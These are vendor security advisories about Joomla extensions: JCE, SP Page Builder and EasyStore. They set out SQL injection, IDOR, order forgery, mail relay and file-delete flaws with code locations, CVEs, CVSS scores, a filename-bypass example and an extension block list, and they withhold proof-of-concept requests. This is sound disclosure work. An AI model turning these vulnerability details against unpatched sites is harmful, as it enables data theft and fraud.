Update at your normal cadence, but treat anything below 2.9.99.5 as urgent

What JCE 2.9.99.10 actually fixes

The vendor describes the security item in one sentence: an authenticated, privileged user could rename a file in a way that created a hidden file in the folder they were browsing, instead of the rename being rejected as invalid. The release notes add that renaming will no longer replace a file that already exists, which is a second, quieter fix bundled into the same change.

Three conditions have to hold before any of that is reachable. The attacker needs a working login, a JCE editor profile assigned to them that grants file browser access such as the Image Manager or File Browser, and the Rename permission within that profile. On a site where lower-trust users get an editor profile with file management turned on, that is a realistic combination. On a site where only administrators touch the file browser, it is not.

The outcome is a hidden file, not code execution. The extension of the renamed file is inherited from the original, so an attacker cannot choose it. A file called photo.jpg can be turned into .jpg, which disappears from the JCE file listing and from a plain directory listing on the server. It conceals something already uploaded rather than getting anything new onto the server.

Is this as serious as the June JCE vulnerability?

No, and conflating the two would be a disservice. June's issue was CVE-2026-48907: unauthenticated, CVSS 10.0, exploitable by anyone who could reach the site, and added to CISA's Known Exploited Vulnerabilities catalog after evidence of real-world attacks. It was fixed in 2.9.99.5 on 3 June, followed by a full hardening audit in 2.9.99.6.

The 2.9.99.10 issue sits at the opposite end of the scale. It needs authentication, a privileged profile, and a specific permission, and it yields concealment rather than execution. No CVE had been assigned as of 29 July 2026, which is a reasonable outcome for a bug of this shape reported privately to a developer who patched it.

Scale is the reason it matters. JCE is the most widely installed Joomla editor, so a file handling weakness in it reaches a lot of sites if it ever chains with something else.

What the JCE changelog does not mention

We unpacked both release packages and compared them file by file. Of the eight sub-packages inside pkg_jce, only com_jce contains real code changes; the seven bundled plugins are version bumps and nothing else. Within com_jce, most changed files differ only in their version banner, leaving a much smaller set of real changes.

Several of those changes are substantive security hardening that appears nowhere in the changelog:

The blocked executable extension list grew a lot. 2.9.99.10 adds pht, phtm, phps, phpt, pgif, aspx, asa, asax, cer, jsp, jspx, cgi, pl, inc, shtml, shtm, stm, htaccess, htpasswd and ini. None of those were blocked in 2.9.99.9.
Each part of a filename is now trimmed of colons and semicolons before comparison, and the whole name is Unicode normalised. That defeats classic bypass shapes such as shell.php:.jpg and fullwidth-character variants.
The random filename suffix went from five hexadecimal characters of an md5 of uniqid(rand(), 1) to sixteen characters from random_bytes(). The changelog mentions the new fully-randomised naming option, but not that the old generator was guessable.
Rename, copy and move now validate file extensions. Previously only the filename was checked on those operations, not whether the extension was permitted by the profile.
The allowroot filesystem option is gone. In 2.9.99.9, setting it pointed the file browser at the site root rather than the configured images directory.

None of that is criticism of the developer, who has shipped seven releases on this extension since May and has been open about the June incident. But it does mean the changelog understates what this release is. If you were deciding whether to bother, decide on the hardening rather than the one listed item.

Which Joomla sites are actually affected?

Across the Joomla sites connected to mySites.guru, not one is running a version in the affected 2.9.99.6 to 2.9.99.9 window. Sites that stay close to current move through these releases fast, and the handful sitting on a 2.9.99.x build had already gone past it.

The uncomfortable half of the same data is that hundreds of connected Joomla sites are still on a 2.7.x build of JCE, years behind, and a long tail sits on 2.6.x and older 2.9.x releases. Those sites are not exposed to the rename issue. They are exposed to the unauthenticated upload flaw that CISA confirmed was being actively exploited, which is a far worse place to be.

If you look after Joomla sites for other people, that gap is the thing to plan around. The sites that need your attention are almost never the ones a release behind. They are the ones nobody has touched since the last redesign.

How do I update JCE across every Joomla site?

On a single site, update JCE the way you would any Joomla extension, through the Joomla Update or Extensions manager in the administrator. JCE 2.9.99.x runs on Joomla 3, 4, 5 and 6, and the developer confirms it does not need the Backwards Compatibility plugin on Joomla 5 or 6.

Across many sites, doing that by hand does not scale, which is the problem mySites.guru exists to solve. Every connected Joomla site has its full extension inventory indexed, so you can list every site with JCE installed grouped by version, identify everything below 2.9.99.10, and push the update across all of them in one batch. The free audit will show you the same inventory for your own sites before you commit to anything.

While you are in there, it is worth checking older sites for the traces of the June attack rather than assuming an update is a cleanup. Updating an extension closes the hole; it does not remove anything that came through it. Our guide to finding every site running a vulnerable JCE covers the indicators of compromise and the tool that finds rogue profiles.

If you cannot update JCE straight away

The developer has published a specific interim measure for this issue, which is unusual and welcome. Disable the Rename option in the settings of each file-related plugin, such as the Image Manager and the File Browser, for any profile assigned to untrusted or lower-trust users. That removes the permission the flaw depends on until the update is applied.

Warning

This mitigation applies to the rename issue only. It does nothing for the unauthenticated upload flaw fixed in 2.9.99.5. If a site is below 2.9.99.5, no permission change will protect it, because the attack does not need a login at all.

The broader point the developer makes alongside it is the right one, and it applies well beyond JCE. The features and access you grant to lower-trust users on any Joomla extension should be the minimum they actually need, reviewed occasionally rather than set once and forgotten. Most file browser permissions in the wild were granted years ago to someone who has since left.

Does this affect WordPress?

No. JCE is a Joomla-only editor extension. There is no WordPress build and no shared codebase, so WordPress sites running the block editor or TinyMCE are unaffected by this release and by every other JCE issue covered here.

Pre-Authentication SQL Injection and Mail Relay in SP Page Builder found by mySites.guru

phil@mysites.guru (Phil Taylor) — Mon, 27 Jul 2026 13:00:00 GMT

SP Page Builder is JoomShaper's drag-and-drop page builder for Joomla, one of the most widely installed page builders in the ecosystem. We have reported issues in it before: the June 2026 unauthenticated icon-upload zero-day that was being exploited in the wild and fixed in 6.6.2. During a later audit of SP Page Builder 6.7.0, mySites.guru found four further vulnerabilities, and reported them to JoomShaper before disclosing anything publicly. JoomShaper closed all four in SP Page Builder 6.7.1.

If you run SP Page Builder on any Joomla site, update to 6.7.1 now. If you manage more than a handful of sites, read on for how to find every affected one at once.

Update, 12 August 2026: fixed at last, in 6.8.0

A fifth flaw in this same release, CVE-2026-65876, is still unpatched in 6.7.1, and is reported to be under active exploitation. It is an unauthenticated SQL injection through the catid parameter of the loadMoreArticles endpoint. When this post first went out we noted that CVE and said we had not tested it. We have now, and the CVE record's claim that 6.7.1 fixes it is wrong. JoomShaper shipped 6.8.0 on 12 August 2026 and it fixes that fifth flaw. We re-tested the released package the same day and confirmed it. Update to 6.8.0 now, and if you applied the hand mitigation below, take it out again afterwards. The same release also fixes a pre-authentication remote code execution flaw we reported on 27 July, which is written up separately here. The detail is below.

TL;DR

mySites.guru found four vulnerabilities in SP Page Builder 6.7.0 and reported them to JoomShaper
Pre-authentication SQL injection (CVSS 4.0 8.7, High). The Dynamic Content endpoint placed a request value straight into the database query's ORDER BY. It is protected only by a CSRF token, which Joomla hands to every anonymous visitor, so it is effectively pre-auth. An attacker could read the entire database, password hashes included
Unauthenticated mail relay (CVSS 4.0 6.9, Medium). The contact-form addons protected the recipient address with a secret that was hardcoded identically into every copy of the extension. Because the secret was public in the shipped source, an attacker could forge it and send email to any recipient with a spoofed sender, from your domain and mail server, an open spam and phishing relay
Authenticated SQL injection (CVSS 4.0 7.1, High). The media manager's search and date filters placed request input into the database query unescaped. Reachable by a low-privilege author
Authenticated arbitrary file delete (CVSS 4.0 7.2, High). A media action deleted a file at a request-supplied path with no traversal guard, so a low-privilege author could delete configuration.php or a protective .htaccess
Update to SP Page Builder 6.7.1 immediately
Reported privately, fixed in 6.7.1 on 27 July 2026. The Joomla CNA assigned four CVEs the same day: CVE-2026-65766, CVE-2026-65877, CVE-2026-65878 and CVE-2026-65879
A fifth issue, CVE-2026-65876, was still live in 6.7.1 despite the CVE record saying otherwise, and was reported to be exploited in the wild. It was finally fixed in 6.8.0 on 12 August 2026, which we verified against the released package. Update to 6.8.0
mySites.guru already flags every connected Joomla site still running a vulnerable version

mySites.guru discovered these issues and reported them to JoomShaper before publishing details. We withheld the exact requests and any proof-of-concept until a fix was available and site owners had a reasonable window to update. This is how we handle every vulnerability we find: fix first, publish second.

The worst one: an anonymous request that reads the database

SP Page Builder's Dynamic Content feature renders lists of content, articles, tags and custom collections, through a front-end endpoint. For the tags source, it built the query's sort clause by pasting a direction value taken raw from the request body onto the end of ORDER BY title (dynamic_content.php:232, with the same pattern duplicated at CollectionData.php:2004). A sort direction is one of the places you cannot safely quote a value, so it has to be restricted to ASC or DESC. This path did not restrict it.

The only thing standing in front of the endpoint is a CSRF token check, and that is not the barrier it looks like. Joomla issues a valid token to every visitor, including anonymous ones, the moment they load any page. A scripted attacker simply fetches a token and sends it back, so in practical terms this is a pre-authentication SQL injection: an anonymous attacker could read any table in the Joomla database, from user accounts and password hashes to the site secret and every stored record.

We confirmed it on our own SP Page Builder test install with a time-based proof: a crafted direction value that made the database pause for a measurable few seconds against an instant baseline, while a normal request returned the expected tag data, which together show the injected code ran inside a real query. We did not extract real data. The fix restricts the direction to ASC or DESC before it reaches the query, in both places, and puts a permission check in front of the endpoint so an anonymous visitor cannot reach it at all.

A database read leaves your site looking untouched: no file changes, no new admin user, nothing for an integrity scanner to catch. If a vulnerable version was ever live, treat the database as potentially copied, rotate the Joomla secret and any stored API keys, and assume password hashes are known.

The one that surprised us: an open mail relay from a shared secret

The root cause here is a design decision rather than a slip. SP Page Builder's contact-form addons, ajax_contact and form_builder, let a site owner set where form submissions are emailed. To stop a visitor tampering with that recipient, the addon signs it with a secret and checks the signature on submission. Sound idea. The problem is the secret: it is a single string hardcoded into the addon source (site.php:24), identical in every copy of SP Page Builder ever shipped.

A secret that ships in the product is not a secret. Anyone with a copy of the extension, which is anyone, can read it and forge a valid signature offline. With that, an attacker could set the form's recipient to any address they liked, and its sender to anything they liked, and make the site send arbitrary email. Two smaller weaknesses removed the remaining friction: the built-in "default" captcha compared two values that both came from the attacker (site.php:460), so it verified nothing, and the CSRF check switched itself off whenever Joomla page caching was enabled (site.php:257), a common production setting.

The upshot is an unauthenticated open mail relay. Any SP Page Builder site with a contact form on a published page could be made to send email to any recipient, with a spoofed sender, from the site's own domain and mail server. That is a spam and phishing platform running on your domain's reputation, and the fastest way to get your legitimate mail blacklisted. We proved it on our test install: an anonymous request delivered a message to an address of our choosing with a spoofed sender, and the server reported success. The correct fix, which the update makes, is to derive the signature from the site's own secret, unique per install, rather than a constant shared by every copy.

Hardcoding a secret into shipped source is a recurring class of bug (CWE-798). The moment the same key protects every install, it protects none of them. Joomla already gives each site a unique secret for exactly this purpose; that is what per-site signing should use.

The two that need a low-privilege login

The remaining two issues need an account, but only a low-privilege one: a Joomla user who can edit their own page-builder content, the sort of author account many sites hand out freely. Neither should be dismissed on that basis.

The media manager's JSON view built its search query by pasting the search and date request values directly into the SQL with no escaping (media.php, in getDateFilters() and getTotalMedia()), a SQL injection reachable by that low-privilege author, and with no CSRF token on the view. The media delete action removed a file at a path taken from the request, with only cosmetic filtering and none of the traversal guard the sibling delete paths use (media.php:804), so an author holding only the create permission could delete any file in the web root, configuration.php or a protective .htaccess included. Deleting the wrong file can break a site or strip a defence ahead of a further attack. The fixes add the missing input validation and the missing path boundary check.

The fifth flaw that 6.7.1 did not fix

Added 10 August 2026.

SP Page Builder 6.7.1 was credited with fixing five issues: our four, plus CVE-2026-65876, an unauthenticated SQL injection through the catid parameter of the loadMoreArticles endpoint. That fifth one was not ours and, as we wrote at the time, we had not tested it. We have now read the shipping 6.7.1 package, and the flaw is still in it.

The endpoint takes its parameters straight out of the raw request body with no login, no permission check and no CSRF token of any kind, which puts it a step below even the Dynamic Content endpoint above. The category list it receives is meant to be forced to integers before it reaches the database. It is, in one place. But the same untouched value is handed to the helper that expands a category into its subcategories one line earlier, and that helper pastes the list straight into a SQL IN() clause. The sanitisation exists; it simply runs one line too late to matter.

The consequence is the one the CVE describes and 6.7.1 was supposed to have removed: an anonymous visitor can read the whole database, password hashes included. We are not publishing a request; the vendor has already described the location publicly in their own support forum, and the flaw is reported to be under active exploitation, so the useful thing to publish is the mitigation.

Fixed in 6.8.0, released 12 August 2026

JoomShaper released 6.8.0 on 12 August 2026, sixteen days after 6.7.1, with the changelog entry "Fixed an unauthenticated SQL injection in the article loading endpoint". We read the released package the same day: the category list is now passed through an integer cast before it reaches the subcategory helper, so the ordering problem described above is gone. Update to 6.8.0 or later.

Before 6.8.0 existed, the only option was to close the endpoint by hand. It is kept here for anyone who cannot update immediately. Edit components/com_sppagebuilder/controllers/articles.php and make die(); the first statement inside loadMoreArticles():

public function loadMoreArticles()
{
    die();
    $app = Factory::getApplication();

That blocks the attack outright. It also switches the endpoint off, so the "Load more" button on article list addons stops returning results until you take the line out again. If you applied this between 10 and 12 August, remove it once you are on 6.8.0 or the button stays broken.

Which versions are affected?

SP Page Builder 6.7.0, the current release at the time of disclosure, and every earlier version are affected by the four issues we reported. JoomShaper fixed those in SP Page Builder 6.7.1. This is separate from the June 2026 icon-upload flaw fixed in 6.6.2: you want to be on 6.6.2 or later for that one, and 6.7.1 or later for these.

CVE-2026-65876, the fifth issue, is the exception. It affects 6.7.1 as well, and there is no fixed release yet. JoomShaper has said 6.8.0 will close it.

If you run any version of SP Page Builder earlier than 6.7.1, assume your site is affected and update now. The critical SQL injection and the mail relay both need no real login, so if the site is online, the endpoints are reachable. 6.7.1 is no longer enough either: update to 6.8.0, which fixes CVE-2026-65876 and the separate pre-authentication code execution flaw we reported on 27 July.

How do you update SP Page Builder safely?

Take a backup first. Before any extension update on a production Joomla site, back up the database and files. If you use mySites.guru, trigger a snapshot or a full backup first.
Update through Joomla's Extensions manager, or in bulk from mySites.guru. On a single site, open the Joomla administrator, go to System, then Update, then Extensions, and let Joomla pull SP Page Builder 6.7.1. If you manage more than one site, use the mySites.guru mass update feature to upgrade SP Page Builder across every affected site from one dashboard.
Confirm the version. After updating, check SP Page Builder reports 6.7.1 or later.
Clear caches. Clear Joomla's cache and any CDN or page cache.
Update to 6.8.0, which fixes CVE-2026-65876 and the pre-authentication code execution flaw reported separately. If you applied the hand mitigation below while waiting, remove it afterwards.

Updating closes the door on the four issues we reported. It does not undo any data an attacker may already have read through the SQL injection, so if you handle sensitive data and were on a vulnerable version for a while, treat credentials and exposed data as potentially known.

How do I find every SP Page Builder site I manage?

View every SP Page Builder install across your sites

Open your Extension Inventory

Search for SP Page Builder across every connected Joomla site and filter for anything earlier than 6.7.1. We also flag every site sitting on 6.7.1 itself, for the fifth issue that release did not fix. Not a subscriber? Sign up free and connect your sites.

Why page builders keep producing this

Page builders make attractive targets for the same reason they are useful: they render content through front-end endpoints that anonymous visitors are meant to reach. An element that loads a list of tags, a contact form that accepts a submission, none of it can require a login, because the whole point is that visitors use it. Every one of those public endpoints is attack surface, and when the code behind them trusts request input, an anonymous visitor becomes an anonymous attacker.

We have seen the same shape across the ecosystem this year, from PageBuilder CK to Quix and the wider month of Joomla disclosures. Page builders are worth using. The ones that accept input from anonymous visitors simply need updating the moment a fix exists, which makes these updates security-critical rather than feature maintenance.

On the engineering, JoomShaper did the right things. They shared a pre-release build for us to verify, fixed all four issues, hardened a couple of related weaknesses we flagged while checking that build, and told their users to update in a public security notice covering both the Pro and free editions.

On the disclosure, once again they gave mySites.guru no acknowledgement. They shared that pre-release build on 23 July, then shipped the final 6.7.1 without telling us it was going out. Their changelog also plays the severity down: a pre-authentication SQL injection that hands an anonymous visitor your entire database is written up as "improved input validation and access control", and an unauthenticated open mail relay as "improved submission verification". A site owner reading that has no way to tell how serious either was. We saw the same pattern from the same vendor days earlier with EasyStore, where three serious flaws were closed as routine changelog lines with no advisory and no credit.

That is also the backdrop to the August update above. Faced with a critical flaw their own release did not close, one under active exploitation with no patch available, JoomShaper have named the affected endpoint in a public support forum thread and told customers a fix is coming in the next release. That tells attackers exactly where to look and leaves defenders with nothing to install. The order matters: ship the fix, then explain it.

Stay ahead of the next one

Get free email alerts when a Joomla vulnerability breaks

We email a plain-English alert the moment a serious flaw like this one is disclosed, with the affected versions and what to do. No charge, unsubscribe any time.

Subscribe to security alerts

Disclosure and severity

The worst finding is a SQL injection (CWE-89) reachable by an anonymous visitor over the network, gated only by a CSRF token that Joomla issues to everyone. The mail relay stems from a hardcoded, product-wide secret (CWE-798) and yields unauthenticated arbitrary mail sending with sender spoofing. The remaining two, a media-manager SQL injection and an arbitrary file delete via path traversal (CWE-22), need a low-privilege authenticated author.

The Joomla CNA assigned four CVE IDs for these findings on 27 July 2026, the day 6.7.1 shipped. All four have now published with full descriptions and scores, so the mapping we promised is below.

CVE	Finding	CNA score
CVE-2026-65766	Pre-authentication SQL injection, `order` parameter, Dynamic Content endpoint	9.2 Critical
CVE-2026-65879	Unauthenticated mail relay via a hardcoded, product-wide secret	9.8 Critical
CVE-2026-65877	Authenticated SQL injection in the media manager	8.2 High
CVE-2026-65878	Authenticated arbitrary file delete	8.3 High

The CNA scored the pre-authentication SQL injection 9.2 Critical. We scored it 8.7 High, for the reason set out below. Where the two differ, the CNA's number is the one that travels with the CVE.

There is also a fifth CVE against the same version range. CVE-2026-65876 is an unauthenticated SQL injection through the catid parameter of the loadMoreArticles endpoint, scored 9.2 Critical. It is not one of the four issues we reported.

Corrected 10 August 2026. When this post first went out we wrote that 6.7.1 fixed five issues, not four. That was wrong. We took the CVE record's word for it rather than reading the code, because the fifth finding was not ours. Having now read the shipping package, 6.7.1 fixes four issues. CVE-2026-65876 survives in it, as set out above, and the CVE record still incorrectly lists 6.7.1 as the fixed version.

We score every issue under CVSS 4.0. The pre-authentication SQL injection comes out at 8.7, High, the top of the High band, where CVSS 4.0 caps a single maximal impact reached with no privileges. A full-database read is a total loss of confidentiality regardless of where the number falls.

8.7 CVSS 4.0

High Pre-authentication SQL injection, the worst of four findings

Reachable over the internet with only the CSRF token Joomla hands to every visitor. Ends in full read access to the site database, password hashes and the site secret included.

No login needed Exploitable over the internet Full database read Password hashes exposed

Each finding, scored under CVSS 4.0:

Finding	Vector (`CVSS:4.0/...`)	Score	Severity
Pre-authentication SQL injection (full DB read)	`AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`	8.7	High
Authenticated arbitrary file delete	`AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N`	7.2	High
Authenticated media-manager SQL injection	`AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`	7.1	High
Unauthenticated mail relay (sender spoofing)	`AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N`	6.9	Medium

CVSS 4.0 scores the mail relay 6.9, Medium, because the direct impact on the Joomla system is low: it reads and changes nothing on the site itself. That number understates the practical risk, which is phishing sent from your own domain and mail server, and the mail-reputation damage that follows. We treat it as a priority fix regardless.

Field	Detail
Component	SP Page Builder for Joomla (`com_sppagebuilder`)
Vendor	JoomShaper (joomshaper.com)
Type	Pre-auth SQL injection (CWE-89); unauthenticated mail relay via hardcoded secret (CWE-798); authenticated SQL injection (CWE-89); authenticated arbitrary file delete (CWE-22)
CVSS 4.0	8.7 (High) pre-auth SQL injection; 7.2 (High) file delete; 7.1 (High) media SQL injection; 6.9 (Medium) mail relay
CVE	CVE-2026-65766 pre-auth SQL injection (9.2 Critical), CVE-2026-65879 mail relay (9.8 Critical), CVE-2026-65877 media manager SQL injection (8.2 High), CVE-2026-65878 arbitrary file delete (8.3 High), all assigned via the Joomla CNA on 27 July 2026 and now published. A fifth CVE against the same versions, CVE-2026-65876 (`loadMoreArticles` `catid` SQL injection, 9.2 Critical), is not one of our findings and is still unfixed in 6.7.1
Impact	Anonymous read of the whole database including password hashes; unauthenticated arbitrary mail sending with sender spoofing; low-privilege database read and web-root file deletion
Finder	Phil Taylor, mySites.guru
Affected versions	6.7.0 and all earlier versions (our four findings); 6.7.1 and earlier for CVE-2026-65876
Fixed in	SP Page Builder 6.7.1 for our four findings. CVE-2026-65876 is unfixed as of 10 August 2026; JoomShaper says 6.8.0
Reported	21 July 2026 (privately to JoomShaper)
Acknowledged	22 July 2026 (JoomShaper confirmed receipt, team informed)
Verified	23 July 2026 (mySites.guru confirmed all four fixes in a JoomShaper pre-release build)
Fixed	27 July 2026 (SP Page Builder 6.7.1)
CVE assigned	27 July 2026 (four IDs via the Joomla CNA, records pending publication)

Exposed Customer Invoices, Order Forgery and SQL Injection in EasyStore for Joomla found by mySites.guru

phil@mysites.guru (Phil Taylor) — Thu, 23 Jul 2026 16:01:00 GMT

EasyStore is JoomShaper's ecommerce component for Joomla, the shopping-cart engine behind a growing number of Joomla shops. Here is the finding that will make any shop owner wince: before EasyStore 2.0.2, any logged-in customer could pull up every other customer's order and printable invoice, with full name, email address, billing and shipping addresses, phone number and complete purchase history, by changing one number in the URL. On a shop with open customer registration, which is most shops, "any logged-in customer" means anyone who signs up. mySites.guru found that during routine security research, along with two more issues that need no login at all, and reported all three to JoomShaper before disclosing anything publicly.

If you run EasyStore on any Joomla site, update to 2.0.2 now. If you manage more than a handful of shops, read on for how to find every affected one at once, and for how JoomShaper chose to ship the fix.

TL;DR

mySites.guru found three critical vulnerabilities in EasyStore 2.0.1 and reported them to JoomShaper
Cross-customer invoice and order exposure. The order and invoice views only checked that someone was logged in, never that the order belonged to them, so any customer could read every other customer's order and invoice by changing the id in the URL. Names, emails, addresses, phone numbers, the lot
Unauthenticated order forgery. An anonymous request to the order-repayment endpoint could mark any order paid with no login, no token, and no contact with any payment gateway. Goods released without payment, and the same flaw rewrites any order's fields by changing an id
Unauthenticated SQL injection. The product-list sort parameter placed request input straight into the database query's ORDER BY, so an anonymous visitor could read the entire database: Joomla accounts, password hashes, the site secret, and every customer record
Update to EasyStore 2.0.2 immediately. Affected: 2.0.1 and every earlier version
Reported privately on 21 July 2026, fixed the next day in 2.0.2, but shipped with no security advisory and no credit. The Joomla CNA has assigned three CVEs, CVE-2026-65759, CVE-2026-65760 and CVE-2026-65761, and rated two of them Critical
mySites.guru already flags every connected Joomla site still running a vulnerable version, so you do not have to check each shop by hand

How JoomShaper shipped the fix: quietly

We reported all three privately on 21 July 2026. JoomShaper replied on 22 July, confirmed they had reproduced and verified every one, said they were "treating these issues with the highest priority", thanked us, and said they looked forward to continuing to work with us. The next day, 23 July, they shipped EasyStore 2.0.2, and it closes all three.

To be fair to the code, we checked. We downloaded 2.0.2 and read the exact paths we had reported: the repayment endpoint now requires a token, checks that the order belongs to the caller, and takes the payment status from the stored order rather than from the request; the product sort is restricted to a fixed ASC/DESC allow-list; and the order and invoice views now verify that the order belongs to the person viewing it. The fix is correct and complete, and we have no complaint about the code.

The handling is another matter. The 2.0.2 release carries no security advisory, the changelog never says "security release", and the three fixes sit among routine feature additions and cosmetic bug fixes, each written in language a shop owner would read straight past. Here is the changelog as JoomShaper published it:

The three critical security fixes are the last three lines of the Fixes list, sitting directly under a coupon bug and a product gallery thumbnail glitch, with nothing to mark them out as different. Here is what we reported, set against the exact words JoomShaper used to describe each fix:

What we found and reported	How JoomShaper described it in the 2.0.2 changelog	Severity (CVSS 4.0)
Any logged-in customer could read every other customer's order and invoice by changing the id in the URL	"Enforced user ownership verification on order details and invoice views"	9.2, Critical
An anonymous request could mark any order paid, and rewrite any order's fields, with no login	"Fixed unauthenticated order state manipulation in the checkout repay task"	8.7, High
An anonymous visitor could read the entire database through the product sort parameter	"Added strict allowlist sanitization for product list sorting options"	9.3, Critical

Only one of those three lines even contains the word "unauthenticated". There was no coordinated disclosure date, no heads-up that the release was going out, no CVE requested, and no credit to the finder. A shop owner scanning that changelog has no way to know that 2.0.2 is the most urgent update EasyStore has shipped this year, or that staying on 2.0.1 leaves every customer's invoice one URL edit away from any logged-in visitor.

Because JoomShaper did not request one, mySites.guru took these issues to the Joomla CNA, which assigned three CVEs on 23 July 2026: CVE-2026-65759 for the order forgery, CVE-2026-65760 for the cross-customer invoice disclosure and CVE-2026-65761 for the SQL injection. The CVE records name Phil Taylor as the finder, the credit JoomShaper's own release withheld. The CNA rated the SQL injection 9.3 Critical and the invoice disclosure 9.2 Critical, higher than our own conservative scores. There is now a public, citable record that does not depend on a changelog line reading like a slider tweak.

Neither of those steps should have fallen to us. The Joomla Security Strike Team has since proposed a Manual page for extension developers, and points 11 and 12 of those twenty rules cover exactly this: request the CVE from the Joomla CNA before you disclose, and always offer the reporter credit in the wording they choose.

Treat EasyStore 2.0.2 as an urgent security release, whatever its changelog implies. Two of the three flaws need no login, and the third exposes your entire customer base's personal data to anyone who can register. If a vulnerable version was live on a shop that handles real customers, this is a personal-data breach you may be obliged to report.

The three flaws in detail

EasyStore is a full ecommerce component: products, a cart, checkout, orders, invoices, coupons and payment plugins. That is a large front-end attack surface, because a shop has to accept requests from anonymous visitors to function. Most of it is built carefully. Three places were not.

1. Every customer's invoice, one URL edit away

The flaw that leads this post is a broken access control, the kind that quietly exposes personal data. EasyStore's order detail page and its printable invoice only checked that someone was logged in. They never checked that the order being viewed actually belonged to the person viewing it. The query that loads the order (OrderManager.php:917-938) filtered on the order id alone, with no customer-ownership condition.

Because order ids are sequential integers, any logged-in customer could walk through them one by one and read every other customer's order and printable invoice: full name, email address, billing and shipping addresses, phone number, and complete purchase history. Change id=1041 to id=1042 and you are looking at the next customer's invoice. On a shop with open customer registration, "any logged-in customer" means anyone. That is a serious personal-data exposure and, under the UK GDPR and equivalents, a reportable breach if it happened on a live shop.

The tell here is that EasyStore already gets this right elsewhere. Guest orders are protected by an unguessable token emailed to the customer, and the order-cancel path does check ownership. The detail and invoice views simply missed the same check. The fix (which we confirmed in 2.0.2) adds the ownership condition so a customer can only ever load their own orders.

Data exposure like this leaves no trace. No file changes, no new admin user, nothing for an integrity scanner to catch. If a vulnerable version was ever live on a shop with real customers, you have to assume the customer list and its invoices were reachable, and handle it as a potential data breach.

2. Marking any order paid, for free, with no login

The most direct of the three, and it needs no account. EasyStore has an order-repayment path, meant to let a customer retry payment on an order. The endpoint took the order details straight from the request body as JSON, including the payment status, and for any enabled manual payment method (Cash on Delivery is enabled by default and qualifies) it wrote that status to the database.

The root cause was in the checkout controller, which built the order object from client JSON and called updateOrder(), ending in a blind write at OrderController.php:299 ($orm->update('#__easystore_orders', $data, 'id')). Nothing in that path checked a login, a CSRF token, ownership of the order, or, crucially, whether any payment actually happened. There was no call to a payment gateway anywhere in it.

So an anonymous attacker could send one crafted request and flip any order to paid. On a shop that ships on payment status, that is goods dispatched for free. Because the order id is attacker-chosen and sequential, the same flaw also let an attacker rewrite arbitrary fields on any order in the shop, addresses, customer id and discount included.

We proved it on our own EasyStore test install: a single anonymous request turned a test order from unpaid to paid, and we then restored the test data. The fix (confirmed in 2.0.2) ties the repayment path to the real customer, requires a token, and only ever sets payment status from the stored order or a verified gateway response.

3. Unauthenticated SQL injection through the product sort

The product listing lets shoppers sort results, and the sort option arrives in a request parameter, filter_sortby. EasyStore split that value into a column and a direction, and the direction was passed through to the database query's ORDER BY clause without being checked against a list of allowed values.

The direction helper (FilterHelper.php:741) returned the request's direction unchanged, and the model (ProductsModel.php:923) concatenated it straight into the query. A sort direction is one of the few places you cannot simply quote a value safely, which is exactly why the surrounding code has to restrict it to ASC or DESC. This path did not, while the sibling brand and collection listings did. That gap was the bug.

The consequence is a textbook SQL injection reachable by an anonymous visitor: an attacker could read any table in the Joomla database, from user accounts and password hashes to the site secret and every customer's stored order data. We confirmed it on our test install with a time-based proof, a crafted sort value that made the database pause for a measurable few seconds versus an instant baseline, which shows the injected code ran. We did not extract real data. The fix (confirmed in 2.0.2) restricts the direction to a fixed allow-list before it reaches the query.

A database read writes nothing. No file changes, no new admin user, no web shell, nothing for an integrity scanner to find. If a vulnerable version was ever live on a busy shop, treat the database as potentially copied: rotate the Joomla secret and any stored API keys, and assume password hashes are known.

Fair credit: the PayPal side was built correctly

It would be easy to read three findings and conclude the whole component is careless. It is not. The part that most often goes wrong in ecommerce extensions, the payment gateway callback, is built properly here. EasyStore's PayPal webhook verifies the notification's cryptographic signature, checks the merchant email, and reads the payment status back from PayPal's own signed response rather than trusting request parameters. The order total is computed server-side from the database, not taken from the client. That is the right way to do it, and it is worth saying so.

The order-forgery flaw was not a weakness in PayPal handling. It was a separate, manual-payment code path that skipped the checks the gateway path applied. The lesson is a familiar one: security has to hold on every path that changes state, not just the obvious one.

Which versions are affected?

EasyStore 2.0.1, the current release at the time of disclosure, and every earlier version are affected by all three issues. JoomShaper fixed them in EasyStore 2.0.2, released 23 July 2026.

If you run any version of EasyStore earlier than 2.0.2, assume your shop is affected and update now. Two of the three flaws need no login, so there is no second precondition for an attacker to satisfy: if the shop is online, the endpoints are reachable.

How do you update EasyStore safely?

Take a backup first. Before any extension update on a production Joomla site, back up the database and files. If you use mySites.guru, trigger a snapshot or a full backup first.
Update through Joomla's Extensions manager, or in bulk from mySites.guru. On a single site, open the Joomla administrator, go to System, then Update, then Extensions, and let Joomla pull EasyStore 2.0.2. If you manage more than one shop, use the mySites.guru mass update feature to upgrade EasyStore across every affected site from one dashboard.
Confirm the version. After updating, check EasyStore reports 2.0.2 or later.
Clear caches. Clear Joomla's cache and any CDN or page cache.

Updating closes the door. It does not undo any data an attacker may already have read, so if you handle customer data and were on a vulnerable version for a while, treat credentials and exposed data as potentially known, and review recent orders for any that were marked paid without a matching payment.

How do I find every EasyStore shop I manage?

The first question after any extension security release is the awkward one: which of my sites actually run this? Up to about ten sites, you can log in to each Joomla admin and check. Past that, you need a single view.

mySites.guru keeps a live inventory of every extension, template and framework on every Joomla and WordPress site in your account. You search for EasyStore once and get back every connected site running it, the version each one is on, and whether an update is available.

View every EasyStore install across your sites

Open your Extension Inventory

Search for EasyStore across every connected Joomla site and filter for anything earlier than 2.0.2. Not a subscriber? Sign up free and connect your sites.

Why ecommerce extensions carry extra weight

A shop is not a brochure. When a page builder has a bug, the exposure is the site's data. When an ecommerce component has one, the exposure is the site's data plus its customers' personal and order details, plus, in the order-forgery case, real money. That raises the stakes on exactly the code that has to accept anonymous requests to work: the cart, the checkout, the payment callbacks.

